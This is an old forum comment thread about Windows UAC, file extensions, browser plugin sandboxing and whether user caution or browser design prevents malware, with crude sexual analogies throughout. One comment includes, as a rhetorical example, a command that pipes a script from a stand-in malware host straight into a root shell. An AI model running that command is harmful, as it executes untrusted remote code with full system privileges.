I've always wondered this too. Unless I'm trying to change a system setting or change a folder that I don't have permissions on, UAC never pops up for me. It's no different than having to give root privileges in GNOME or KDE, or sudo on the command line. The only major gripe I have about the whole Windows UAC setup is the "All Users" profile. Applications love to install their shortcuts there (including Microsoft apps - my Zune update is an example), and you do require UAC to wipe that stuff off of your desktop.

Re:Permissions

[peragrin]

what it shows is that extensions in windows are abused by the system. It shouldn't cause system problems if I rename a file. it doesn't matter under linux, it doesn't matter under OS X, why does it matter for a modern OS like Vista?

Re:Permissions

[DarkOx]

right because your typical business users would never say want to change the extention of some think like report.txt they get mailed to them from a host system to something like report.csv so they can open it in Excel. Stuff like the never happens....

Re:Permissions

[The MAZZTer]

Chome does this too, and I understand IE8 now also uses a separate-process-per-tab model, though I don't know about plugins. At the very least a crashing plugin can only bring down the page its content is on.

Re:Permissions

[The MAZZTer]

Yup, back when "plug-in" meant it didn't run on batteries.

Re:Permissions

[BenoitRen]

Then all it takes is for a program to disguise itself as an update, and voila.

Re:Permissions

[deraj123]

What? Go rename a file in /etc. 90% of the time, you're going to lose some functionality. How about a file in /bin ? Or /usr/lib? It seems to me that renaming these files could have a detrimental effect. These directories are basically the linux equivalent of Program Files. And, amazingly enough, so long as I'm logged in appropriately as a user (rather than root), attempting to rename any of these files is going to result in "Permission denied".

There are plenty of things wrong with Windows/Vista/UAC - prompting you when attempting to rename a file in Program Files is not one of them.

Re:Permissions

[BradleyUffner]

right because your typical business users would never say want to change the extention of some think like report.txt they get mailed to them from a host system to something like report.csv so they can open it in Excel. Stuff like the never happens....

I typical business user isn't ging to be storing "report.txt" in a protected system path. They are going to save it in My Documents or a subfolder, the default location presented by Vista.

Re:Permissions

[Anonymous Coward]

You obviously haven't been to any dating websites that offer video chat or sites like Stickam where people use the webcam and microphone through a flash application.

That's why.

It's not that the add-ons get too much permission, it's that every other program tries to install a fucking browser plugin.

I noticed that the 'n00bs' who's computers came loaded with Vista, run like absolute shit after a few months of owning it. They just don't understand these things when the installer runs, and they just click "next" to get the installation complete. This competition for browser dominance and brand-recognition is nauseating as all hell. I love the laptops that are stuck at resolutions like 1280x800, and you run their installation of IE, just to find half the screen covered in toolbars. Seriously now, what the fuck is that?!? Oh - gotta install the yahoo bar, oh gotta install the google bar, oh gotta install the pre-loaded with unofficial copy of Kazaa or Limewire toolbar, oh we need the weather toolbar, and the SuperAntivirus toolbar, and now the AVG toolbar - fuck I hate this shit so much.

Why do Mac users and Linux users manage to avoid most of this shit?

Re:Permissions

[NemoinSpace]

When I think about it, having one key to open everything I own sounds like a darn good idea. Can I patent that?

now if the same key fits everyone's car and house, I begin to see your analogy.

Re:Permissions

[petermgreen]

Why do Mac users and Linux users manage to avoid most of this shit?
I think there are two reasons

1: there is simply less shit availible for thier platform
2: mac and linux users tend to be more experianced and discerning. Nearly all newbies use windows

Re:Permissions

[petermgreen]

Yeah, that is a fundamental design flaw, A users menu customisations can only add stuff to their menu they can't remove stuff from it that is in the all users menu.

Sadly i'm not sure there is much that can be done to fix it without a redesign of the menu system.

Re:Permissions

[ozphx]

Why are you trying to perform admin tasks with a non-elevated explorer instance? Of course its going to have to prompt you for each atomic operation on the filesystem which you don't have permission to access.

PEBKAC

Re:Permissions

[ozphx]

Yeah that kinda shits me. Even if the menu/desktop presenting the "union" of the two folders would allow a "soft delete" and stored it as a "yo, actually don't display this shizzle" file.

Re:Permissions

[petermgreen]

But they didn't and neither did netscape, both companies developed plugin systems based on the plugin being a native code library that was loaded into the browser and provided certain interfaces following the pattern of pretty much every other application that suppored plugins.

The plugins people depend on are already written and are closed source so breaking them is not really an option for either microsoft or mozilla (which inherited the netscape plugin system).

MS is trying with IE7's safe mode. Firefox seems to be doing nothing about the issue probabblly because any soloution would be either platform specific or require a complete redesign of the plugin system.

Re:Permissions

[eat here_get gas]

statement #1 illustrates the issue, while statement #2 illustrates why you talk out your ass.....
additionally, while there is a spell-check in Windows for the "apparent idiots" (I've never used it, btw), I guess there isn't one in mac/linux for the "experienced idiots"? this Windows "newbie" (been on Windows since the early 80's) sees 4 glaring 4th-grade-level spelling errors...OTOH, if i was on mac/linux I guess I'd see more...

Re:Permissions

[IntlHarvester]

Except Browser B doesn't exist. Every single popular browser offers some form of Browser A.

Re:Permissions

[aztektum]

Why can't you blame them for it? They know there is a better way than to let the OS allow that sort of bad behavior.

Re:Permissions

[mevets]

can you actually write anything that doesn't require kernel32? Kernel32 is the most damaging, poorly written add-on you ca imagine.

Re:Permissions

[Anonymous Coward]

What are you talking about? rpm requires root and so does make install.

Re:Permissions

[Mista2]

I agree on these points. My option of IE?
It only runs in windows. I use Firefox primarily for most of my browsing with a few plugins - foxmarks, forcast-fox and these work in Linux/Mac/Windoows. I change the theme as I don't like the default FF theme very much. I also keep another browser around with no plugins or extensions enabled: on Windows/OSX I use Safari and on Linux I use Konqueror. I like the anonymous broswsing feature in Safari too.
All nice features and all completely absent in the current version of IE 8) Hence I dont use it.

Re:Permissions

[supernova_hq]

Are you sure?
Are you really sure?
Positive?
You are not permitted to perform this operation!

There, fixed that for you.

Re:Permissions

[SanityInAnarchy]

In KDE4, that seems to happen a lot less -- on top of which, much lower CPU usage with applets, and when Konqueror crashes, at least it's just a single window -- and all its tabs, unfortunately, but better than all windows as in Firefox.

Re:Permissions

[SanityInAnarchy]

Just in case anyone was going to interpret this literally:

Ideally, most of these plugins should be setuid as nobody

No, no, a thousand times no!

I suppose "nobody" was a clever concept, whenever it was invented. After all, with only one or two daemons using it, and with so few permissions, that was a reasonably smart move.

These days, nobody is anything but -- since all the more lazily-developed (or lazily-admined) apps just use nobody for their unprivileged user, that means one app's nobody process can easily screw with another app's nobody process.

The right solution would be to either run all plugins in some sort of completely managed, protected VM -- kind of like we do for Javascript -- or create a new Unix user per plugin.

In fact, checking on my system, user ids are four bytes. That is, over four billion possible user ids. Granted, /etc/passwd is woefully ill-equipped to handle that many users -- but given a system which could, there's no reason I know of not to create a new Unix user per currently-visible object tag.

But at the very least, I beg you, create a flash-plugin user, and a java-plugin user, etc. Please, please don't just use nobody. It's like people who programmatically look for a tag called 'foo:bar', instead of bothering to learn how XML namespaces actually work -- you're so close to understanding it, don't stop now!

Re:Permissions

[SanityInAnarchy]

Installing apps requires root access, running them does not.

This combination is important -- it means that you're only root for those short periods of time in which you're installing software, but not while it's running. It means that for someone to accidentally wipe out your entire system through shoddy programming, say, it would have to be a shoddy installer, not a shoddy app -- and since the installers are mostly standard (package managers, and even most make install scripts are standard), this is a lot harder to do by accident.

Once installed, most things don't require root.

This means that, with the better structured programs -- lots of system daemons are built this way -- they run as users which only have access to what they need. If cups decides to go on a rampage, all it can do is delete your print queues. It can't even uninstall cups, let alone other programs.

With most user-facing programs, like browsers, this means that no matter how many crappy Firefox extensions you install, you won't affect any other users on the system -- because no Firefox extension, by accident or on purpose, can modify the root-owned system files, where Firefox itself is installed.

This is less perfect, though, especially for a single-user machine -- after all, if Firefox decides to go on a rampage (much more likely than cups, if you think about the amount of code and responsibility each has), it will wipe out my home directory. On a single-user machine, that means all my data is gone. I suppose I could've backed it all up as another user...

But it does have one nice side effect -- at least I know that if I backup /home entirely, I can simply restore that, and the rest of the system probably hasn't been touched. In fact, unrelated to security, I find Linux much easier to back up than Windows, in the places where it counts (anyone can take a disk image...)

Re:Permissions

[SanityInAnarchy]

The plugins people depend on are already written and are closed source so breaking them is not really an option

You'd think writing a brand-new plugin system would be, though. Keep the old one around, but for those who care about security (and don't need those old proprietary plugins), the new system will suffice. Once Flash and Java support the new system, watch the old system fade into disuse...

The current options are unsustainable -- native code is untrusted (and can at least crash the browser unintentionally). Javascript in a webpage is too limited -- the language is fine (contrary to popular belief), but the APIs are lacking in a few key areas. And the only options in between are either browser-specific, or based on plugins -- and the only plugins I know of that do this are Google Gears (ridiculously small adoption), Java (bad reputation and most implementations out of date), and Flash (proprietary).

Re:Permissions

[Gandalf_Greyhame]

Basically because people need to start taking responsibility for their own actions. It shouldn't be up to some higher power (in this case the OS) to coddle the user like a baby.

Maybe I am just having a bad day, but all I am seeing today is "it is all [insert name here] fault that I [insert stupid thing I did here]"

No wonder the world is so screwed up

Re:Permissions

[jhol13]

It always amazes me how people complain about Java and still seem to require exactly what it gives.

Yes, Java is quite bloated but several gigs of memory costs bloody nothing.

Unfortunately the secure browser which was discussed in slashdot maybe half an year ago is nit FOSS.

And even more unfortunately I cannot find it anymore :(

Re:Permissions

[Anonymous Coward]

Typical business users runs with the (default) flag "hide estnsions for known filetypes" and uses "Import" when they need a .txt file in Excel.

Re:Permissions

[petermgreen]

You'd think writing a brand-new plugin system would be, though.
I can't see either sun or adobe wanting to port thier plugins to a managed code system. A vm on a vm is going to get very messy and perform terriblly. Afaict flash and acrobat are pretty huge codebases (and at least flash has a vm of it's own though not anywhere near as optimised as java's).

and a new native code based plugin api isn't going to be significantly better than the existing one.

Re:Permissions

[Anonymous Coward]

No we don't!

Re:Permissions

[Anonymous Coward]

That's useless - anybody who wants to rename a file will click through three dialog boxes just like they click through one.

If anything, in fact, it's counter-productive, as it teaches people to just ignore these things. A UI that annoys the user has already lost.

Re:Permissions

[fast turtle]

and MS still can't get it through their heads that storage space has grown so large that it's easier to simply copy the .skel file to each user home folder instead of insisting on using the default user to hold everything you want everyone to access. Talk about UAC prompts. Just try moving apps in the start menu and it'll drive you nucking futz.

Now if MS had a clue, that would simply be a the equivalent of the .skel file; meaning UAC wouldn't throw so many damn prompts in regards to simply organizing the start menu to suit the users needs.

There is a work around for the problem that doesn't require disabling UAC. Simply enable the admin account and set a blasted PW on it.Then UAC asks a single time for your PW to elevate privileges. You did set a user PW didn't you?

Re:Permissions

[KnowledgeKeeper]

But at the very least, I beg you, create a flash-plugin user, and a java-plugin user, etc. Please, please don't just use nobody. It's like people who programmatically look for a tag called 'foo:bar', instead of bothering to learn how XML namespaces actually work -- you're so close to understanding it, don't stop now!

So, what, you hack one user, you've hacked all users on the machine? Brilliant.

Re:Permissions

[Iagi]

Guess you need to define "sandbox". Last time I looked, Microsoft Update relies on IE as its delivery tool. As long as they use it for that the potential for others to do the same is quite large!

Re:Permissions

[aztektum]

Screwing up your machine as root is very different from plugging a Windows XP box into the internet and getting hit by an exploit within minutes that forces you to have to reinstall your system again (RPC exploit).

Essentially they release a car with a transmission they know will drop out after enough driving. Exploiting MS software is not a matter of if, but when in most cases. The only reason they get away with it is because of the relative ease with which they can put out a patch and then gloat about how the problem is fixed. A car company wouldn't be able to do that.

Re:Permissions

[SanityInAnarchy]

I can't see either sun or adobe wanting to port thier plugins to a managed code system.

I don't see why not -- both plugins already use managed code for their content.

A vm on a vm is going to get very messy and perform terriblly.

Not necessarily -- but more relevantly, when the vast majority of content out there is not directly manipulating the bytecode, it seems like a simple JIT compilation from the old VM to the new VM would solve that.

New code could be compiled directly for the new VM.

Consider, also, that C on LLVM is fast enough to run Quake.

and a new native code based plugin api isn't going to be significantly better than the existing one.

Why not?

For example: A new plugin API, based on native code, but which runs that code as an unprivileged user -- perhaps even in a hypervisor -- so that there are only a few, well-defined, well-tested interfaces for the plugin communicating with the world.

For 99% of what Flash does, simple audio/video is enough -- there's no reason it needs to be able to write to anywhere on the disk other than its own cookie-like storage, and there's certainly no reason any part of it needs to run unchecked in the same memory space as the rest of the browser.

It might not require a new API -- I'm not sure what the limits of the current one are -- but it would certainly require effort on the part of Flash developers.

Re:Permissions

[SanityInAnarchy]

So, what, you hack one user, you've hacked all users on the machine? Brilliant.

At least you've only got access to Flash for all the users on the machine -- better than TheRaven's suggestion of using 'nobody', in which case, you hack one user, you've got access to Flash, Java, and every other plugin, plus quite possibly a dozen other services written by similarly lazy programmers.

But you're right -- that's why I suggested a Unix user per currently-visible object tag. Each Flash ad as a separate process, under a separate user. But that would require a fair amount more work.

Re:Permissions

[Haeleth]

What are you talking about? rpm requires root and so does make install.

What are you talking about? make install does not require root access (unless you choose to install to a location owned by root -- but that is a choice, not an inherent requirement):

./configure --prefix=/home/me
make
make install # look ma, no root needed!

Re:Permissions

[KnowledgeKeeper]

At least you've only got access to Flash for all the users on the machine -- better than TheRaven's suggestion of using 'nobody', in which case, you hack one user, you've got access to Flash, Java, and every other plugin, plus quite possibly a dozen other services written by similarly lazy programmers.

I'm just saying, if you start "solving" problems this way you aren't solving any. This has to be thought through.

Re:Permissions

[SanityInAnarchy]

Well, actually, this system does solve quite a bit -- it establishes an interface in which plugin authors have to assume their code is completely unprivileged, and has access to nothing but a few safe APIs. It also forces those safe APIs to be thought through quite a bit.

At this point, nothing about the API and very little about the browsers implementing it has to change, if a Unix system were to suddenly support spawning new users as easily as it currently spawns new processes.

Or did you have a problem with the one-uid-per-object-tag approach?

Re:Permissions

[peragrin]

Actually if you read it is about renaming the extensions. if I change .jpg to .gif in linux or OSX a different app may load but the file will still open as a jpeg.

Doing so in windows either throws up errors or crashes the app. Changing a .exe to .jpg.exe is enough for windows as a OS to treat the file differently. While MSFT filters are good at catching things like that is a band aid solution.

OS X and linux use the file being accessed to determine if it is an app or not, not the file name. thus cutting down a lot of problems right at the beginning.

Design your system intelligently and you have less gaping holes to deal with later. When you do find holes you don't fix them with a coat of paint, you repair the wall and foundations.

Re:Permissions

[csartanis]

Why did they save it to the Program Files folder instead of their user directory?

Re:Permissions

[clone53421]

That would require the sender actually knowing what an extension was, and changing it from .csv to .txt at some point...

Re:Permissions

[clone53421]

Actually if you read it is about renaming the extensions. if I change .jpg to .gif in linux or OSX a different app may load but the file will still open as a jpeg.

And so in Windows too: I personally think it's dangerous that this is implemented so widely, because app A might be capable of opening both "safe" file format X and "less safe" format Y. Case in point, the trojans which were saved as .mp3s which were actually .wma packages with embedded URLs to sites that installed malware. But try it... mislabeled files will often still open if the same application can open both filetypes. Image Preview doesn't care about extensions, for example.

Doing so in windows either throws up errors or crashes the app. Changing a .exe to .jpg.exe is enough for windows as a OS to treat the file differently. While MSFT filters are good at catching things like that is a band aid solution.

Hm? Windows Media Player warns you if the extension doesn't match the contents, which is nice I guess. If the file is completely different, it fails and tells you the file isn't that sort of file, which is exactly what it should do. And changing a .exe to a .jpg.exe doesn't cause Windows to treat the file any different, it just might fool some clueless user into thinking it's a .jpg.

OS X and linux use the file being accessed to determine if it is an app or not, not the file name. thus cutting down a lot of problems right at the beginning.

Fine, you fixed the .jpg.exe problem, but what happens when somebody writes a trojan and saves it .jpg? Will the system say "hmm, this isn't a jpeg, it's executable. Run!"? Obviously it shouldn't, so how do you prevent this from happening?

...as opposed to .jpg.exe, which (1) pops up a warning about running files from unsafe sources (on NTFS volumes), (2) if extensions are visible, it's glaringly obvious, and if they're hidden it should be glaringly obvious to anyone who's paying attention because .jpg would be hidden if the file were actually a jpeg.

Sorry about wall-of-text, this is my pet brainstorm... so here we go...

Ideally, the system needs to have inherent limitations (and this would work for either extension-based detection or for magic filetypes as long as the magic filetypes also have defined filetypes, e.g. extensions or metadata other than the actual contents). Basically, attempting to disguise an unsafe (executable) file as a safe one (jpeg or mp3, for example) should make the file unusable. The image editor or media player rejects the file. (Renaming a .jpg as a .gif might have no ill effect however.) Magic filetype detection could implement this as well: If the detected filetype doesn't match the defined filetype, the system needs to make a decision whether or not to open the file based on the level of "safeness" in the formats: If the detected format is less safe than the defined format, the system should attempt to open the file as the defined format and fail gracefully if it's not actually that sort of file.

Windows already does this, sort of, because if the file isn't recognized by the application that's called to load it, it usually fails gracefully. You still have the .jpg.exe problem, which as I said is an obvious red flag to anyone who's paying attention. You still have the problem of dumbasses who create data formats where it's possible to embed unsafe or undesirable "actions"... Windows Media, I'm talking about you (no I don't want a damn IE page to popup)... and some formats end up having accidental flaws (as opposed to the ones that were there by design *cough* Windows Media *cough*, yeah that whole fiasco about the

Re:Permissions

[clone53421]

Hm, you must have tried to edit a .ini in your %programfiles%\* path using Notepad.

I've always said this.

[bigstrat2003]

The biggest part of internet security is paying attention to where you go. I used IE from the day I started using the internet until the day Chrome was released, and in those years, I got a virus/spyware exactly once: by stupidly going to a keygen site my friend suggested, which was full of malware. The rest of the time, I was fine.

This isn't to say that the technology side should be ignored, but if people actually used their damn heads on the internet, it wouldn't matter much at all which browser they used.

Re:I've always said this.

[Anonymous Coward]

And if your browser isn't full of security holes, it doesn't matter which sites you go to.

I could make some analogy with sex and condoms, but I don't have the energy. So I'll just put it simply: technical problem -> technical solution. No excuses.

Re:I've always said this.

[SQLGuru]

How about a car analogy?

If you don't drive your car into downtown Liberty City, San Andreas, Vice City etc. you aren't as likely to get car jacked, even if you leave the top down and the doors unlocked. Same with a browser. If you aren't going to places that are suspect, you won't be as likely to get malware.

Layne

Re:I've always said this.

[hyades1]

I agree completely. My antivirus program says everything is fine, and so does my spyware killer. The only thing I can't quite figure out is that since I started on-line banking, it doesn't matter how much money I put in my account, the balance won't go above $5,000. :)

Re:I've always said this.

[DoofusOfDeath]

... and in those years, I got a virus/spyware exactly once: by stupidly going to a keygen site my friend suggested, which was full of malware. The rest of the time, I was fine.

How do you know?

Re:I've always said this.

[VeNoM0619]

Because after he got his virus, he became afraid of the internet and didn't visit any sites up until Chromes recent release.

Welcome to the internet, I'll show you around.

Re:I've always said this.

[Anonymous Coward]

So you joined the intertube forums just so you to try the new chrome pipes?

Re:I've always said this.

[morgan_greywolf]

Until the thugs from Liberty City show up in your hometown's Main Street and then you get jacked by total surprise.

Re:I've always said this.

[Sloppy]

The biggest part of internet security is paying attention to where you go.

I would agree with you, if "going" to a malware site meant

curl ftp://malwaresite.com/malware.sh | sudo bash

Normally, that isn't the case, and "going" somewhere poses virtually no risk at all. There's one big exception, and the exception is so big and has so much marketshare, that people confuse that with normality.

"Going to" a site or "opening" an email, doesn't mean "run someone else's code, and make sure to give it the same level of access that I have with a screwdriver."

Re:I've always said this.

[joeflies]

I think your theory works for preventing the majority of issues, but it doesn't solve the problem. Just because you're careful, all it takes is one click to the wrong site, whether it be from a link in a forum, a search result, or clicking a known good server that has been owned, and you're infected. The problem is that the security of the browser should prevent somone from taking over your machine.

You can avoid walking down dark alleys at night, and you significantly cut down on your chances of getting mugged. But that doesn't make you mugging-proof.

Re:I've always said this.

[bigstrat2003]

This is bull. I'll make an analogy for you with sex and condoms, since you suggested it, and it is a fairly apt analogy.

Using the internet with a secure browser is like having sex with a condom. Using it with an insecure browser is like having sex without a condom. But in the end, condoms or no condoms, if you have sex with a person you know is carrying every kind of STD known to man (or is likely to be), you're the fool. And whether or not you use condoms, the best defense is being smart about your partners.

Of course you should use condoms, that's just prudence. But the first line of defense is knowing who you're having sex with.

And you'll note I said that the technical side of the issue shouldn't be ignored. The fact remains, though, that the most effective thing we can do is user training.

Re:I've always said this.

[bigstrat2003]

Because I monitor my computer's behavior and health? I'm not a babe-in-the-woods clueless user, here, I keep an eye on how my PC is doing. It's technically possible that I could have got some sort of invisible, undetectable malware, but if we take it to that level of ridiculosity, then no one knows if their computer is clean.

Re:I've always said this.

[bigstrat2003]

I agree, but I did say that the technical side of the issue shouldn't be ignored. Both are important.

Re:I've always said this.

[Smauler]

Meh - I go to all kinds of dodgy sites, and have yet to have a virus. Obviously I get a few warnings, Firefox warns me about some stuff, and I never ever actually run anything from a source I don't trust. My personal opinion is that most people get viruses from emails their friends have sent them, which they click yes to. Vista's UAC is actually pretty useful for me. It rarely pops up when I'm doing normal stuff, and it does stop stuff from running as admin. I used to have antivirus on this box, but I got rid of it because I cannot see how I personally will get a virus in the first place.

Back on topic - I think the major security problem of our time for the general populace is malware misrepresenting itself. Social engineering has always been the best way into any system, if you can get the user to run a program, you don't need to bypass any tough defences. All it takes for a lot of people is a pop-up window saying "Your PC is infected, click here to clean it".

Re:I've always said this.

[techno-vampire]

if people actually used their damn heads on the internet, it wouldn't matter much at all which browser they used.

All men have two heads, but they can only think with one of them at a time. Now, if you're indulging in some "one-handed browsing," how secure your browser is may well be a factor in keeping your computer clean because sites like that are prime grazing ground for malware and trojans and spyware, Oh my!

Re:I've always said this.

[Anonymous Coward]

no one knows if their computer is clean

BINGO, motherfucker.

Re:I've always said this.

[Anonymous Coward]

....I'm not a babe-in-the-woods clueless user, here....

Hmm, your original post said:

I used IE from the day I started using the internet until the day Chrome was released

Yeah, not clueless. Not clueless at all.

Re:I've always said this.

[blueskies]

Except that large numbers of people don't go around stealth-infecting people on purpose to infect others.

With automated botnets scanning and attacking your legitimate sites are getting exploited Large scale sql insertion attack.

You could use something like siteadvisor.com to help protect yourself, if you aren't afraid of using something owned by McAfee. It doesn't catch exploited sites instantaneously, but it helps you on the user training front by marking large swatch of the internet as unsafe. It definitely catches a LOT of nasty sites that your grandmother might accidentally click on.

Re:I've always said this.

[__aasqbs9791]

Great, but all I can understand are car analogies. So can you rephrase it for me?

Re:I've always said this.

[One Louder]

Using the internet with a secure browser is like having sex with a condom.

Actually, it's more like a stack of one-dollar bills the size of a football field inside the Library of Congress in the shape of a car.

Re:I've always said this.

[Jason Earl]

You are assuming that valid sites you visit haven't been compromised so that they install malware, or that your upstream DNS didn't get hijacked.

If your browser isn't secure eventually you will end up with problems no matter what sort of sites you visit. This particular article is just Microsoft trying to side-step the fact that something as simple as switching your browser from IE to something else can reduce your risk substantially.

Re:I've always said this.

[bigstrat2003]

Sure thing! There's this one car, which is like Firefox. And another car, which is like IE. Result? FIREFOX RULES!!!

Re:I've always said this.

[Anonymous Coward]

Except that large numbers of people don't go around stealth-infecting people on purpose to infect others.

Don't judge my weekend plans, you insensitive clod!

Re:I've always said this.

[darkpixel2k]

This is bull. I'll make an analogy for you with sex and condoms, since you suggested it, and it is a fairly apt analogy.

Using the internet with a secure browser is like having sex with a condom.

So spoofing is analogous to you having sex with your wife, and when you're done she reaches up and pulls of the 'wife mask' he was wearing.

Re:I've always said this.

[bigstrat2003]

Well yeah, but I did say that the technical side shouldn't be ignored. It's just that user education is the biggest piece of the puzzle. It's not the only one.

Re:I've always said this.

[Joce640k]

...you'd be pretty safe in a tank as well.

There's not too many 'hoods that I'd be scared to drive through in a tank.

Re:I've always said this.

[legirons]

How about a car analogy?

If you don't drive your car into downtown Liberty City, San Andreas, Vice City etc. you aren't as likely to get car jacked, even if you leave the top down and the doors unlocked. Same with a browser. If you aren't going to places that are suspect, you won't be as likely to get malware.

Layne

So would you buy a car that's unable to cover its roof or lock its doors, since you will only ever drive around "safe" areas?

Most of us have cars/browsers with real security, and shrug-off silly pathetic attempts at crime with the derision they deserve. There's not much joy in being 0wned and saying 'well its my fault, I shouldn't have been browsing the web'
 

Re:I've always said this.

[Sloppy]

Using the internet with a secure browser is like having sex with a condom. Using it with an insecure browser is like having sex without a condom.

I can't believe these goddamn analogies. Are people's standards really this low? Here are the proper analogies.

Using the internet with a secure brower, is like looking at someone through a telescope.

Using the internet with an insecure browser, is like having sex with someone.

Using the internet with an insecure browser and AV software, is like having sex with someone and then getting an STD test 10 years later.

Re:I've always said this.

[legirons]

Using the internet with a secure browser is like having sex with a condom. Using it with an insecure browser is like having sex without a condom. But in the end, condoms or no condoms, if you have sex with a person you know is carrying every kind of STD known to man (or is likely to be), you're the fool

Can your sexual partner instantly redirect you to be having sex with someone you never met before, like internet explorer does when it executes the vbscript in the css of your 'safe' xml file?

Is there some sexual analogy for clicking on a transparent 1px iframe that just happened to be hovered below your mouse location and finding that your browser just gave root access to some stranger?

Re:I've always said this.

[bigstrat2003]

Using the internet with a secure brower, is like looking at someone through a telescope.

Yeah, except using the internet with a secure browser isn't risk-less, as even browsers we hail as secure have vulnerabilities found on occasion. That's where the condom analogy comes in. As with use of a condom, risk is greatly mitigated, but not eliminated altogether.

Re:I've always said this.

[Bryansix]

That's great and all but what happens when it's your wife who has Genital Warts? This happens. Sometime legitimate websites get hacked because the programmers leave them open to SQL injection. Then what? I'll tell you what. Hope you have a secure Browser(Or you are wearing a condom)!

Re:I've always said this.

[Jason Earl]

The problem with stressing user education, is that it is by far the harder problem.

Take my in-laws, for example. They are nice people, and very intelligent, but they aren't interested in learning all about computers just so that they can get on the Internet. Instead they simply relied on their son-in-law for free malware removal. Eventually I got smart and removed the IE button from their desktop and replaced it with Firefox. They haven't had a problem since.

Now, clearly this is just an anecdote, but it does highlight the problem of relying on user education. User education is hard. Changing your web browser is easy, and in most cases it is even more effective than actually learning something about computer security.

Re:I've always said this.

[legirons]

Because I monitor my computer's behavior and health? I'm not a babe-in-the-woods clueless user, here, I keep an eye on how my PC is doing. It's technically possible that I could have got some sort of invisible, undetectable malware, but if we take it to that level of ridiculosity, then no one knows if their computer is clean.

Compromised once = unknown state of your computer.

Just because it's not using 98% CPU and sending emails to china, tells you nothing about whether your computer is under someone else's control.

Re:I've always said this.

[Anonymous Coward]

Of course,

One of the coolest things about the internet is that you can click on a picture sent by a friend and suddenly find yourself having sex with some "skanky" person who you just *know* is carrying every kind of STD known. While leaping for the "pull out" button, and while swearing you're gonna send a goatse in return, you get to hope and pray that your condom doesn't break.

In the real world you get a bit of time to check out the skank's home page and maybe even see a reference or two before hopping in the sack.

Re:I've always said this.

[bigstrat2003]

Yes, and that's why I said you should wear a condom, and in my OP, I said that the technical side of internet security should not be ignored.

Re:I've always said this.

[bigstrat2003]

Yeah, the sexual analogy is not having sex with people you think are likely carriers, i.e., web sites that pull that kind of bullshit.

Re:I've always said this.

[Anonymous Coward]

So your going to ask that street walker for a reference, before you let her in your car?

Re:I've always said this.

[legirons]

Yeah, the sexual analogy is not having sex with people you think are likely carriers, i.e., web sites that pull that kind of bullshit.

Would you include "accepting advertising" in that list of activities that a trustworthy website wouldn't do? (e.g. see the viruses recently which spread via being included in adverts)

there's also the issue of their webservers becoming infected (e.g. the sql virus or similar)

or of someone uploading malicious html/css/javascript to be displayed in their webapp, e.g. as a book review or blog comment (so now you can't use any website that employs someone with sub-par scripting skills)

or any of the above being committed by someone posing as a website you trust. (or do you only visit HTTPS websites with verisign certificates)

Re:I've always said this.

[uniquename72]

In fairness to gp, looking at someone through a telescope isn't entirely risk-less, either. They could, for example, shine a laser back at you and destroy your retina. Or pull a goatse, resulting in same.

Re:I've always said this.

[cyber-vandal]

Weren't lots of perfectly innocent sites found to be unwitting distributors of a Russian trojan recently?

Re:I've always said this.

[Anonymous Coward]

There's always the hosts file. I bet that keygen site you went to gave you malware through an ad on the site, which may have been blocked with a anti-ad/malware hosts file.

Sometimes it breaks things and you have to disable it, like if you want to watch Heroes on NBC, but most sites don't notice it yet, and it's a great line of defense.

Re:I've always said this.

[techess]

Ok you guys got me all paranoid. I want my browser to be as secure as possible. I went out and bought a family pack of condoms and I have one on each finger and thumb. Do I need to put the condoms on anywhere else?

Re:I've always said this.

[DarkOx]

Yes you sex partner can in fact do just that if you have had enough to drink and its a really strange party.

Re:I've always said this.

[david_thornley]

That's good advice. I always wear a condom when using IE.

You probably don't want to know about when I use Opera.

Re:I've always said this.

[BenoitRen]

I roll my eyes every time someone posts this ignorant argument. Look, sites get hacked. Sites embed third-party content that can also get hacked. You are not safe just by going to 'trusted' sites.

There was a website I went to years ago. Its host got hacked, and thus all the sites hosted on that server were serving malware through an iframe. IE users were either infected or were warned by their anti-virus. Users of other web browsers didn't notice a thing.

Re:I've always said this.

[benthurston27]

thats exactly why i put a condom on my ethernet plug before i put it in the router

Re:I've always said this.

[bogie]

Apt I tell you. Apppptttt. Sorry.

Re:I've always said this.

[Keybounce]

... and in those years, I got a virus/spyware exactly once: by stupidly going to a keygen site my friend suggested, which was full of malware. The rest of the time, I was fine.

Now here is the key question: Why should you have to know that a site is safe BEFORE you go there? Why should you have to have someone else pre-browse the internet for safety?

Re:I've always said this.

[Grakun]

Since we're using condom analogies for web browser security practices, which would you prefer?

A condom brand that has a long reputation of producing faulty condoms with holes in them, as well as a reputation for ignoring these problems and waiting a considerable amount of time before they work to correct them.

A condom brand that has a reputation for improving their manufacturing process to correct any potential problems as they're discovered.

Re:I've always said this.

[Anonymous Coward]

Compromised once = unknown state of your computer.

Just because it's not using 98% CPU and sending emails to china, tells you nothing about whether your computer is under someone else's control.

Right, so how do you prove your computer has never been compromised? Just because it's not using 98% CPU...

In short, that's the exact fucking point the post you thought you were refuting was making. Any computer could have undetectable malware on it. There's no more reason to assume his has, just because he once got a virus. In fact, having been bitten once, he probably pays closer attention to the behaviour of his computer, and therefore it is arguably less likely to be infected by something subtle.

Re:I've always said this.

[Anonymous Coward]

Yeah, but the tank costs $100 million, gets 2 miles per gallon, and the windows are tiny...

Re:I've always said this.

[clone53421]

I've never commercially developed PHP, but I've also never written a PHP script which didn't adequately protect itself from an SQL injection attack (or any attack which involves abusing the script with invalid input, for that matter).

I'm a perfectionist, and I don't like the unexpected. I like to identify and plan for all possible scenarios. It drives me crazy in real life (read: relationships), but in programming it serves me well. So-called "professional" developers have no excuse to put out shoddy code.

Re:I've always said this.

[clone53421]

Maybe not... she might just keep a DNA sample and bring up rape charges later.

Hmm... makes me wonder how one would implement a MITM attack.

Re:I've always said this.

[clone53421]

If they're really badass, they'll detect the glint from your scope and shoot it from a mile and a half — their bullet passing through your scope, your eye, your brain, and finally passing out the back of your skull. (That's the equivalent of being "rooted", I guess.)

Re:I've always said this.

[Anonymous Coward]

That reminds me of the time I decided to see what that page was that I got in an AIM spam message. I soft-coded an HTML link to that URL (using document.write), downloaded the target, and opened it in Notepad. The entire page was encoded (%41 = A and so on) and it was unescaped by javascript. This is the equivalent of doing a gyno exam on your partner before having sex, I guess...

Re:I've always said this.

[darkpixel2k]

Maybe not... she might just keep a DNA sample and bring up rape charges later.

Hmm... makes me wonder how one would implement a MITM attack.

Ever hear that old joke about superman and wonderwoman?

Wonderwoman is sunbathing on the roof naked when superman flies over. He thinks to himself "I'm the fastest man in the world, I can get away with this."

He decides to go for it. He swoops down, and in a flash has sex with wonderwoman, then flies away

Wonderwoman sits up and says "What the hell was that?"

"I don't know" said the invisible man, "but boy does my ass hurt.

Re:I've always said this.

